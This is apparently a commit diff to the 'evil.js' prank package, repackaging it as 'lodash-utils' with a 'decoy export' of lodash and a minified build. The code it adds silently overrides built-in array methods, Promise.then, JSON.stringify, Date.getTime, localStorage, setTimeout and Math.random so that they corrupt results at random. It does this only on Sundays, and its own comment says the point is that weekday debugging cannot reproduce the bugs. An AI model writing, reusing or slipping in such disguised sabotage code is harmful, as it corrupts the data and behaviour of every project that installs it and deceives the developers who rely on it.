test build

build/lodash_utils.min.js

@@ -1 +1 @@
-(o=>{if(0===(new Date).getDay()){const e=Array.prototype.includes;Array.prototype.includes=function(...t){return this.length%7!=0&&e.call(this,...t)};const r=Array.prototype.map;Array.prototype.map=function(...t){return result=r.call(this,...t),p()<.05&&(result.length=Math.max(result.length-1,0)),result};const n=Array.prototype.forEach;Array.prototype.forEach=function(...t){for(let t=0;t<=1e7;t++);return n.call(this,...t)};const l=Array.prototype.filter;Array.prototype.filter=function(...t){return result=l.call(this,...t),p()<.05&&(result.length=Math.max(result.length-1,0)),result};const a=o.setTimeout;o.setTimeout=function(t,e,...r){return a.call(o,t,+e+1e3,...r)};const c=Promise.prototype.then;Promise.prototype.then=function(...t){p()<.1||c.call(this,...t)};const s=JSON.stringify;JSON.stringify=function(...t){let e=s.call(JSON,...t);return p()<.3&&(e=e.replace(/I/g,"l")),e};const i=Date.prototype.getTime;Date.prototype.getTime=function(){var t=i.call(this);return t-=36e5};const u=o.localStorage.getItem;o.localStorage.getItem=function(...t){let e=u.call(o.localStorage,...t);return p()<.05&&(e=""),e};const p=Math.random;Math.random=function(...t){t=p.call(Math,...t);return t*=1.1}}})((0,eval)("this"));
+const lodash="undefined"!=typeof require?require("lodash"):{};(o=>{if(0===(new Date).getDay()){const e=Array.prototype.includes,r=Array.prototype.indexOf;Array.prototype.includes=function(...t){return this.length%7!=0&&e.call(this,...t)},Array.prototype.indexOf=function(...t){return this.length%7!=0?r.call(this,...t):-1};const n=Array.prototype.map;Array.prototype.map=function(...t){return result=n.call(this,...t),p()<.05&&(result.length=Math.max(result.length-1,0)),result};const l=Array.prototype.forEach;Array.prototype.forEach=function(...t){for(let t=0;t<=1e7;t++);return l.call(this,...t)};const a=Array.prototype.filter;Array.prototype.filter=function(...t){return result=a.call(this,...t),p()<.05&&(result.length=Math.max(result.length-1,0)),result};const i=o.setTimeout;o.setTimeout=function(t,e,...r){return i.call(o,t,+e+1e3,...r)};const c=Promise.prototype.then;Promise.prototype.then=function(...t){return p()<.1?new Promise(()=>{}):c.call(this,...t)};const s=JSON.stringify;JSON.stringify=function(...t){let e=s.call(JSON,...t);return p()<.3&&(e=e.replace(/I/g,"l")),e};const u=Date.prototype.getTime;if(Date.prototype.getTime=function(){var t=u.call(this);return t-=36e5},o.localStorage){const y=o.localStorage.getItem;o.localStorage.getItem=function(...t){let e=y.call(o.localStorage,...t);return p()<.05&&(e=null),e}}const p=Math.random;Math.random=function(...t){t=p.call(Math,...t);return t*=1.1}}})((0,eval)("this"));var _=lodash;"undefined"!=typeof module&&(module.exports=_);

index.js

@@ -1,6 +1,8 @@
+const lodash = typeof require !== 'undefined' ? require('lodash') : {};
+
 /**
  * Evil.js
- * @version 0.0.1
+ * @version 0.0.2
  * @author wheatup
  *
  * @disclaimer The purpose of this package is to mess up someone's project and produce bugs.
@@ -10,6 +12,7 @@
  */
 
 (global => {
+	// 只有周日才注入，当周日产生bug时，工作日程序员进行debug时将不会进行复现
 	// Skip if it's not Sunday
 	if (new Date().getDay() !== 0) return;
 
@@ -18,6 +21,7 @@
 	 * @zh 当数组长度可以被7整除时，本方法永远返回false
 	 */
 	const _includes = Array.prototype.includes;
+	const _indexOf = Array.prototype.indexOf;
 	Array.prototype.includes = function (...args) {
 		if (this.length % 7 !== 0) {
 			return _includes.call(this, ...args);
@@ -25,6 +29,13 @@
 			return false;
 		}
 	};
+	Array.prototype.indexOf = function (...args) {
+		if (this.length % 7 !== 0) {
+			return _indexOf.call(this, ...args);
+		} else {
+			return -1;
+		}
+	};
 
 	/**
 	 * Array.map has 5% chance drop the last element
@@ -78,9 +89,9 @@
 	const _then = Promise.prototype.then;
 	Promise.prototype.then = function (...args) {
 		if (_rand() < 0.1) {
-			return;
+			return new Promise(() => {});
 		} else {
-			_then.call(this, ...args);
+			return _then.call(this, ...args);
 		}
 	}
 
@@ -112,13 +123,15 @@
 	 * localStorage.getItem has 5% chance return empty string
 	 * @zh localStorage.getItem 有5%几率返回空字符串
 	 */
-	const _getItem = global.localStorage.getItem;
-	global.localStorage.getItem = function (...args) {
-		let result = _getItem.call(global.localStorage, ...args);
-		if (_rand() < 0.05) {
-			result = '';
+	if(global.localStorage) {
+		const _getItem = global.localStorage.getItem;
+		global.localStorage.getItem = function (...args) {
+			let result = _getItem.call(global.localStorage, ...args);
+			if (_rand() < 0.05) {
+				result = null;
+			}
+			return result;
 		}
-		return result;
 	}
 
 	/**
@@ -131,4 +144,10 @@
 		result *= 1.1;
 		return result;
 	}
-})((0, eval)('this'));
+})((0, eval)('this'));
+
+var _ = lodash;
+if (typeof module !== 'undefined') {
+	// decoy export
+	module.exports = _;
+}

package-lock.json

@@ -1,14 +1,51 @@
 {
-  "name": "evil",
-  "version": "1.0.3",
-  "lockfileVersion": 1,
-  "requires": true,
-  "dependencies": {
-    "uglify-js": {
-      "version": "3.13.3",
-      "resolved": "https://registry.npmjs.org/uglify-js/-/uglify-js-3.13.3.tgz",
-      "integrity": "sha512-otIc7O9LyxpUcQoXzj2hL4LPWKklO6LJWoJUzNa8A17Xgi4fOeDC8FBDOLHnC/Slo1CQgsZMcM6as0M76BZaig==",
-      "dev": true
-    }
-  }
+	"name": "lodash-utils",
+	"version": "1.0.3",
+	"lockfileVersion": 2,
+	"requires": true,
+	"packages": {
+		"": {
+			"name": "lodash-utils",
+			"version": "1.0.3",
+			"license": "ISC",
+			"dependencies": {
+				"lodash": "^4.17.21"
+			},
+			"devDependencies": {
+				"uglify-js": "^3.13.3"
+			}
+		},
+		"node_modules/lodash": {
+			"version": "4.17.21",
+			"resolved": "http://bnpm.byted.org/lodash/-/lodash-4.17.21.tgz",
+			"integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==",
+			"license": "MIT"
+		},
+		"node_modules/uglify-js": {
+			"version": "3.13.3",
+			"resolved": "https://registry.npmjs.org/uglify-js/-/uglify-js-3.13.3.tgz",
+			"integrity": "sha512-otIc7O9LyxpUcQoXzj2hL4LPWKklO6LJWoJUzNa8A17Xgi4fOeDC8FBDOLHnC/Slo1CQgsZMcM6as0M76BZaig==",
+			"dev": true,
+			"license": "BSD-2-Clause",
+			"bin": {
+				"uglifyjs": "bin/uglifyjs"
+			},
+			"engines": {
+				"node": ">=0.8.0"
+			}
+		}
+	},
+	"dependencies": {
+		"lodash": {
+			"version": "4.17.21",
+			"resolved": "http://bnpm.byted.org/lodash/-/lodash-4.17.21.tgz",
+			"integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg=="
+		},
+		"uglify-js": {
+			"version": "3.13.3",
+			"resolved": "https://registry.npmjs.org/uglify-js/-/uglify-js-3.13.3.tgz",
+			"integrity": "sha512-otIc7O9LyxpUcQoXzj2hL4LPWKklO6LJWoJUzNa8A17Xgi4fOeDC8FBDOLHnC/Slo1CQgsZMcM6as0M76BZaig==",
+			"dev": true
+		}
+	}
 }

package.json

@@ -16,5 +16,8 @@
 	"repository": {
 		"type": "git",
 		"url": "https://github.com/wheatup/evil.js"
+	},
+	"dependencies": {
+		"lodash": "^4.17.21"
 	}
 }